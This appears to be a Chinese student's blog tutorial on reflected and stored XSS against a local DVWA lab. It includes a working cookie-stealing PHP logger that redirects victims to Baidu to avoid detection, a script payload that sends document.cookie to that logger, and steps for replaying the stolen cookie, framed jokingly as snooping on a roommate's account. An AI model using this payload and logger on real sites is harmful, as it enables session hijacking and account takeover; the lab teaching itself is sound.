1. 程式人生 > >【xss】dvwa平臺下的實戰

【xss】dvwa平臺下的實戰

課堂上要求學生自由組隊準備一個安全相關的主題講解,於是會興沖沖的找到學霸想抱大腿。最近應大腿的需求,決定要補充ppt一部分內容以掩蓋我們打醬油的真面目,大胖這裡是學霸的外號的意思是一個醬油的技術點太醬油,兩個醬油的技術點拼起來就刁刁的叻!
前一篇醬油技術是
登陸會話劫持
還有一個醬油技術就是本文了。
也是醉了,後來確定的主題竟然是如何幫助同學檢視室友空間,更醉的是,這種猥瑣的事情要讓我來做!然而我並不會web安全,我只想安安靜靜的看彙編!
於是經過一番吐槽之後我躁動的心終於平靜下來,下面進入正題:

環境

伺服器:Apache
資料庫:MySQL
網址:192.168.1.104/dvwa
訪問者:192.168.1.113

關於如何安裝dvwa網上的教程很多,這裡不再敖述,可以搜尋一下,需要注意的是,xampp埠被佔用和區域網訪問的兩個問題。
端口占用

1.80埠衝突,解決方法:
開啟目錄C:\xampp\apache\conf(我的安裝目錄為C:\xampp)下的httpd.conf檔案,將Listen 80和 ServerName localhost:80中的80改為8081或其它值(儘量不要使用0-1023埠,這個是系統保留埠),要保持一致。
2.監聽埠443衝突,解決方法:
開啟目錄C:\xampp\apache\conf\extra (我的安裝目錄為C:\xampp)下的httpd-ssl.conf檔案,將Listen 443這句註釋掉:# Listen 443或將443改為4433或其它值(儘量不要使用0-1023)。

區域網訪問

  1. 修改httpd.conf(xampp/apache/conf/httpd.conf)
    把Listen 80改成Listen 192.168.0.188:80
    192.168.0.188換成實際伺服器的ip地址

  2. 開啟httpd-xampp.conf(/xampp/apache/conf/extra/httpd-xampp.conf)
    搜尋關鍵字: Order deny,allow
    然後在Order deny,allow下面一行有句 Deny from all
    在Deny from all前加上#
    完整形式:

<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
Order deny,allow #Deny from all Allow from 127.0.0.0/8 # Require local ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var </LocationMatch>

配置好環境,在區域網下能夠成功訪問,就可以開始著手攻擊了
這裡寫圖片描述

攻擊

xss reflected

發現漏洞

xss發生在一切由輸入輸出的地方。訪問網頁的時候發現遇到這樣的視窗,在輸入venidic的時候,瀏覽器直接返回成這樣的資料
這裡寫圖片描述
右鍵檢視原始碼,發現根本沒有做任何的過濾就直接返回了

<div class="vulnerable_code_area">

        <form name="XSS" action="#" method="GET">
            <p>What's your name?</p>
            <input type="text" name="name">
            <input type="submit" value="Submit">
        </form>

        <pre>Hello venidic </pre>

    </div>

那我們直接可以利用</pre>閉合掉前面的一個<pre>標籤,然後用<pre>閉合掉</pre>,在中間就可以填寫攻擊程式碼了
構造測試程式碼

</pre><script>alert('xss')</script><pre>

測試成功
這裡寫圖片描述

利用漏洞

之前一直用xss就是彈個框以證實漏洞的存在,然而著並沒有什麼卵用,xss的猥瑣之處在於它處於前端,可以很容易的造成js指令碼在瀏覽器任意執行,達到竊取cookie,劫持使用者會話,甚至是開發出xss worm。因為本人web實在太渣,所以只會講最基本的盜取cookie的利用方式:

想要記錄來訪者cookie需要寫一個指令碼,如果受害者觸發了這段js,則指令碼就會記錄下受害者的cookie
截獲cookie的php指令碼

<?php

$cookie = $_GET['cookie']; //以GET方式獲取cookie變數值
$ip = getenv ('REMOTE_ADDR'); //遠端主機IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 時:分:秒”的格式顯示時間
$referer=getenv ('HTTP_REFERER'); //連結來源
$agent = $_SERVER['HTTP_USER_AGENT']; //使用者瀏覽器型別

$fp = fopen('cookie.txt', 'a'); //開啟cookie.txt,若不存在則建立它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //寫入檔案
fclose($fp); //關閉檔案

header("Location: http://www.baidu.com")//重定向到baidu,防止發現
?>

那麼js攻擊程式碼就可以這樣寫:

</pre><script>document.location = 'http://192.168.1.104/acceptcookie.php?cookie=' + document.cookie;</script><pre>

這裡寫圖片描述
點選提交
網頁被重定向到了baidu,證明攻擊成功
這裡寫圖片描述

開啟指令碼同目錄下的cookie.txt
這裡寫圖片描述

劫持成功

開啟桂林老兵瀏覽器,修改cookie,然後登陸主頁,無需密碼直接進入
這裡寫圖片描述

利用成功

xss stored

發現漏洞

繼續瀏覽,發現有留言本
這裡寫圖片描述
隨便填寫,發現沒有任何過濾
這裡寫圖片描述

攻擊程式碼
message處:

<script>alert('xss')</script>

提交
這裡寫圖片描述
觸發成功,退出網站
此時,我作為網站管理員從伺服器出進入網站管理
這裡寫圖片描述
觸發成功,作為遊客瀏覽留言板,同樣觸發成功。

利用漏洞

xss利用相當靈活,最簡單的cookie竊取的方法同上。

抱大腿的工作到這裡就結束啦,希望學霸上課演講順利!不要辜負我在考試周前放棄預習,熬夜準備這個鬼而長出來的痘痘!

//                            _ooOoo_  
//                           o8888888o  
//                           88" . "88  
//                           (| -_- |)  
//                            O\ = /O  
//                        ____/`---'\____  
//                      .   ' \\| |// `.  
//                       / \\||| : |||// \  
//                     / _||||| -:- |||||- \  
//                       | | \\\ - /// | |  
//                     | \_| ''\---/'' | |  
//                      \ .-\__ `-` ___/-. /  
//                   ___`. .' /--.--\ `. . __  
//                ."" '< `.___\_<|>_/___.' >'"".  
//               | | : `- \`.;`\ _ /`;.`/ - ` : | |  
//                 \ \ `-. \_ __\ /__ _/ .-` / /  
//         ======`-.____`-.___\_____/___.-`____.-'======  
//                            `=---='  
//  
//         .............................................  

相關推薦

xssdvwa平臺實戰

課堂上要求學生自由組隊準備一個安全相關的主題講解,於是會興沖沖的找到學霸想抱大腿。最近應大腿的需求,決定要補充ppt一部分內容以掩蓋我們打醬油的真面目,大胖這裡是學霸的外號的意思是一個醬油的技術點太醬油,兩個醬油的技術點拼起來就刁刁的叻! 前一篇醬油技術是

PEWindows平臺為可執行檔案或動態庫dll新增版本資訊

###Date: 2017/9/22 ###Author : SoaringLee   平常我們可以看到在Windows可執行檔案中,右鍵屬性中含有檔案版本,檔名稱和版本等資訊,本文講述怎麼新增這些

翻譯自mos文章Windows平臺的 Oraagent Memory Leak

style date any pat trac bytes issue processes ren 來源於: Oraagent Memory Leak (文檔 ID 1956840.1) APPLIES TO: Oracle Database - Ent

PythonPython34環境安裝爬蟲框架scrapy實戰篇!

環境:win7 32位;python34 唉!度娘讓我又愛又恨啊~~ 首先呢,我是按照http://blog.csdn.net/zjiang1994/article/details/52689144的帖子一步一步操作下去!! 整個帖子的第一步是安裝wheel: 在cmd下直

javaitoo項目實戰之hibernate 懶載入優化性能

bsp xtra extra pda 程序 前端框架 外連接 獲取 轉換成 在做itoo 3.0 的時候,考評系統想要上線,就開始導入數據了,僅僅導入學生2萬條數據,可是導入的速度特別的慢。這個慢的原因是由於導入的時候進行了過多的IO操作。可是導入成功之後,

javaitoo項目實戰之hibernate 批量保存優化

新的 hibernate 缺點 try 實戰 lis 插入 entity man 在itoo中。基本上每一個系統都有一個導入功能,大量的數據填寫進入excel模板中。然後使用導入功能導入的數據庫中,這樣能夠大大的提高工作效率。那麽導入就涉及到了批量保存數據庫的

4自定義拉框

order viewport down jquer pos bottom last png 下拉框 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8

Cocos2d-x v3.0正式版嘗鮮體驗2 Android平臺移植

生成 ble ack nts 做的 導入 eclipse so文件 腳本 今天沒事又嘗試了下3.0正式版關於Android平臺的移植,把新建的項目移植了下。過程僅用了十分鐘左右,什麽概念?!好吧,事實上我想說,這個版本號真的移植非常輕松啊,只是還沒加上其它東西,只是就眼

Mac環境svn命令行的使用

資源庫 帳號 之間 rto 有效 write rac update pac 轉載地址:http://blog.csdn.net/itianyi/article/details/8981989 在Windows環境中,我們一般使用TortoiseSVN來搭建svn環境。

HadoopHA 場景訪問 HDFS JAVA API Client

new mes inpu true stream node spa lba main 客戶端需要指定ns名稱,節點配置,ConfiguredFailoverProxyProvider等信息。 代碼示例: package cn.itacst.hadoop.hdfs; i

轉載CentOS7.0安裝Telnet

soc nbsp 裝包 正常 system 關閉防火墻 blog 不能 service 1.、先檢查CentOS7.0是否已經安裝以下兩個安裝包:telnet-server、xinetd。命令如下: # rpm -qa telnet-server # rpm -qa xin

XSS之錨點

eval 源碼 div rip function 函數 settime cati ash 今天P師傅發了一個XSS鏈接,讓利用一下,源碼如下 <script type="text/javascript"> var x=location.hash; funct

windowswindows系統,在任務管理器的進程選項卡中查看PID/任務管理器怎麽查看PID

分享圖片 圖片 技術 啟動 最大值 成功 9.png mage 選擇列 PID,就是windows上的進程ID,是一個進程的唯一標識值。 那今天啟動JDK跑起來一個項目之後,想要在任務管理器中查看這個JDK所在進程的PID但是看不到。 怎麽解決? 1.我在任務管理

對MYSQL視圖的一些總結

訪問者 虛表 不起作用 圖片 rom -- 除了 出現 img 註:本文使用mysql5.5版本為例。 做過數據庫開發的同學,對視圖(VIEW)應該不會陌生。 我接觸視圖最多的應用場景有兩個: 1)出於權限問題,為了限制訪問者看到過多的表字段(或內容),就建立一個視

My97datepicker在IE9采用‘yyyy-MM’格式時會出現11111111

pic .com epic wid == des picker his var 解決辦法是在WdatePicker.js的結尾加上一個方法。 也就是在PX後面加上如下代碼(註意要先加分號再加下面的代碼): var userAgent = n

python獲取目錄的最新文件夾/文件

tdi 所有 pat pytho 時間 body get color span 直接上代碼 1 def new_report(test_report): 2 lists = os.listdir(test_report)

模板Noi-Linux 的一些配置

app round 針對 body dml egl bgp uri oat Noi-Linux 下的一些配置(C++) vim 編程 來自遠古的編程神器 針對網上其他博客的配置做了簡化 配置 set t_Co=256 //開啟256色模式 默認是16色

NetApp7mode環境配置VSCAN

https nbsp int poi asc eval free pro cat 使用Mcafee 作為例子,primary scanner是通過RPC來註冊的,在NetApp 7mode 控制器上,只需要將primary scanner使用的用戶名(也就是截圖中的dani

BZOJ1502[NOI2005]月檸檬樹 Simpson積分

整數 容易 就是 分享 out width inline pri ret 【BZOJ1502】[NOI2005]月下檸檬樹 Description 李哲非常非常喜歡檸檬樹,特別是在靜靜的夜晚,當天空中有一彎明月溫柔地照亮地面上的景物時,他必會悠閑地坐在他親手植下的那

laravel54win系本地域名配置(解決403錯誤)

spa rect serve 配置 apache AC ide roo RR 1、apache虛擬目錄地址應該指向\laravel54\public 目錄下:(TP5類似) <VirtualHost *:80> DocumentRoot "D:\phpStud